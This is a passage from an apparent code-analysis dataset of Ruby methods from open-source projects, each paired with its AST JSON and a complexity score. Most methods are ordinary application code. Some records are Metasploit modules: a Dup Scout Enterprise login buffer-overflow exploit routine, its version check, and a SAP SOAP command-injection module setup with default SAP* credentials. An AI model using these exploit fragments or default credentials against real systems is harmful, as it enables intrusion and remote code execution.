MiqAeDatastore\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_obj\"]},\"ae_values\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeValue\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ae_field\"]},{\"type\":\"lvar\",\"children\":[\"ae_field\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}","id":"5309cd60-a36d-4e18-a217-68cbfc3b6b96"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/priority_activity_message_handler.rb","start_line":16,"raw_source":"def priority_change?(old_priority, new_priority)\n old_priority.present? || new_priority.present?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"priority_change?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_priority\"]},{\"type\":\"arg\",\"children\":[\"new_priority\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_priority\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_priority\"]},\"present?\"]}]}]}","id":"fa494693-72bb-440b-a72f-fd5eb09e37e3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/error_repository.rb","start_line":93,"raw_source":"def last_event_for(id)\n strategy.last_event_for(id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_event_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"last_event_for\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}","id":"bc793baa-5fde-4122-bd92-80108318f23b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule.rb","start_line":258,"raw_source":"def action_evaluate_alert(obj, _at)\n MiqAlert.evaluate_queue(obj)\n _log.info(\"Action [#{name}] has been run for target type: [#{obj.class}] with name: [#{obj.name}]\")\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"action_evaluate_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAlert\"]},\"evaluate_queue\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Action [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] has been run for target type: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"] with name: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}","id":"1dfe6d23-4788-4400-81d9-5b674a1fd585"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb","start_line":129,"raw_source":"def exploit\n my_target = target\n\n if target.name == 'Automatic'\n print_status('Selecting a target...')\n my_target = target_for_version(dup_version)\n unless my_target\n fail_with(Failure::NoTarget, 'Unable to automatically detect a target')\n end\n end\n\n print_status(\"Using target: #{my_target.name}\")\n\n print_status('Generating payload ...')\n\n evil = rand_text(my_target['Offset'])\n evil << [my_target.ret].pack('V')\n evil << make_nops(12)\n evil << payload.encoded\n evil << make_nops(10_000 - evil.length)\n\n print_status(\"Sending payload (#{evil.length} bytes) ...\")\n\n send_request_cgi({\n 'uri' => '/login',\n 'method' => 'POST',\n 'vars_post' => {\n 'username' => evil,\n 'password' => rand_text(10..20)\n }\n })\n end","complexity_score":40.25,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"my_target\",{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Selecting a target...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"my_target\",{\"type\":\"send\",\"children\":[null,\"target_for_version\",{\"type\":\"send\",\"children\":[null,\"dup_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Unable to automatically detect a target\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Generating payload ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"evil\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evil\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evil\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evil\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evil\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10000]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evil\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evil\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes) ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"evil\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[20]}]}]}]}]}]}]}]}]}]}","id":"7e4bc3b8-c56b-46b5-b43d-bf2e04647b8a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/scanner.rb","start_line":341,"raw_source":"def fail_with(reason, msg = nil, abort: false)\n if abort\n # raising Failed will case the run to be aborted\n raise Msf::Auxiliary::Failed, \"#{reason.to_s}: #{msg}\"\n else\n # raising AttemptFailed will cause the run_host / run_batch to be aborted\n raise Msf::Auxiliary::Scanner::AttemptFailed, \"#{reason.to_s}: #{msg}\"\n end\nend","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reason\"]},{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"abort\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abort\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Auxiliary\"]},\"Failed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Auxiliary\"]},\"Scanner\"]},\"AttemptFailed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}","id":"9c6f029e-ffa6-4a3f-be96-79a7223243ee"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/sample.rb","start_line":79,"raw_source":"def sample_size_for_one_arg(arg)\n if arg.range_type?\n range_size(arg)\n elsif arg.int_type?\n [0, -1].include?(arg.to_a.first) ? nil : :unknown\n else\n :unknown\n end\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"sample_size_for_one_arg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"range_type?\"]},{\"type\":\"send\",\"children\":[null,\"range_size\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"int_type?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"to_a\"]},\"first\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}","id":"91b508e3-e577-47a0-a9be-80c896b5b3b3"} {"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20170520145338_change_language_filter_to_opt_out.rb","start_line":4,"raw_source":"def change\n remove_index :users, :allowed_languages\n\n change_table(:users, bulk: true) do |t|\n t.remove :allowed_languages, type: :string, array: true, default: [], null: false\n t.column :filtered_languages, :string, array: true, default: [], null: false\n end\n\n add_index :users, :filtered_languages, using: :gin\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"allowed_languages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"remove\",{\"type\":\"sym\",\"children\":[\"allowed_languages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"filtered_languages\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"filtered_languages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"sym\",\"children\":[\"gin\"]}]}]}]}]}]}","id":"c24e233d-08d7-4246-b4fa-37d0e58c5e88"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":668,"raw_source":"def test_select_hour_with_custom_prompt\n expected = +%(<select id=\"date_hour\" name=\"date[hour]\">\\n)\n expected << %(<option value=\"\">Choose hour</option>\\n<option value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\" selected=\"selected\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n)\n expected << \"</select>\\n\"\n\n assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: \"Choose hour\")\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_hour_with_custom_prompt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_hour\\\" name=\\\"date[hour]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\">Choose hour</option>\\n<option value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\" selected=\\\"selected\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_hour\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"mktime\",{\"type\":\"int\",\"children\":[2003]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"str\",\"children\":[\"Choose hour\"]}]}]}]}]}]}]}","id":"51775281-43c7-4794-9db9-56f4de344bb9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/checks/base_checker.rb","start_line":14,"raw_source":"def updated_from_web?\n protocol == 'web'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_from_web?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protocol\"]},\"==\",{\"type\":\"str\",\"children\":[\"web\"]}]}]}","id":"4a22e611-bb27-41cc-9fbe-93fddf35d8bd"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/metrics/tracking.rb","start_line":135,"raw_source":"def call(_instance, hash, queue, &block)\n @exec.track(queue, hash[\"wrapped\"] || hash[\"class\"], &block)\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_instance\"]},{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"queue\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exec\"]},\"track\",{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"wrapped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"74119a6c-8a02-4de9-a62c-0459dbf43e6f"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_agenda_items/item_component/show_component.rb","start_line":212,"raw_source":"def move_to_backlog_action_item(menu)\n return unless editable?\n\n menu.with_item(label: I18n.t(:label_agenda_item_move_to_backlog),\n tag: :button,\n content_arguments: { data: {\n action: \"click->meetings--submit#intercept\",\n href: drop_meeting_agenda_item_path(\n @meeting_agenda_item.meeting,\n @meeting_agenda_item,\n type: :to_backlog,\n current_occurrence: @current_occurrence\n )\n } }) do |item|\n item.with_leading_visual_icon(icon: \"discussion-outdated\")\n end\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"move_to_backlog_action_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_agenda_item_move_to_backlog\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"button\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"click->meetings--submit#intercept\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"drop_meeting_agenda_item_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},\"meeting\"]},{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"to_backlog\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_occurrence\"]},{\"type\":\"ivar\",\"children\":[\"@current_occurrence\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"discussion-outdated\"]}]}]}]}]}]}]}","id":"1832042d-da80-420c-a9d8-ba37d9b56e66"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/debug.rb","start_line":9,"raw_source":"def print(*args)\n return unless Tooling::Debug.debug\n\n super(*args)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tooling\"]},\"Debug\"]},\"debug\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"8ef345dd-47d6-4a68-b4db-3a517ee109eb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/dupscts_bof.rb","start_line":152,"raw_source":"def dup_version\n res = send_request_cgi({\n 'uri' => '/',\n 'method' => 'GET'\n })\n\n unless res\n return fail_with(Failure::Unreachable, 'Could not determine Dup Scout Enterprise version. No reply.')\n end\n\n res.body.scan(/>Dup Scout Enterprise v([\\d.]+)</).flatten.first\n end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"dup_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Could not determine Dup Scout Enterprise version. No reply.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\">Dup Scout Enterprise v([\\\\d.]+)<\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]}]}","id":"c54d6989-0280-40c0-83ae-6d55db42c31e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_set_cache.rb","start_line":16,"raw_source":"def cache_key(type)\n super(\"#{type}:#{namespace}\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]}]}]}]}]}","id":"0ecfbfcb-b41c-4fbc-b96c-4ac6477c8c61"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb","start_line":22,"raw_source":"def initialize\n super(\n 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',\n 'Description' => %q{\n This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the\n use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.\n },\n 'References' => [\n [ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ],\n [ 'URL', 'https://labs.f-secure.com/archive/sap-parameter-injection/' ]\n ],\n 'Author' => [\n 'nmonkee'\n ],\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [IOC_IN_LOGS],\n 'Reliability' => []\n }\n )\n register_options(\n [\n Opt::RPORT(8000),\n OptString.new('CLIENT', [true, 'SAP Client', '001']),\n OptString.new('HttpUsername', [true, 'Username', 'SAP*']),\n OptString.new('HttpPassword', [true, 'Password', '06071992']),\n OptEnum.new('OS', [true, 'Target OS', 'linux', ['linux', 'windows']]),\n OptString.new('CMD', [true, 'Command to run', 'id'])\n ]\n )\n end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the\\n\"]},{\"type\":\"str\",\"children\":[\" use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.\\n\"]},{\"type\":\"str\",\"children\":[\" 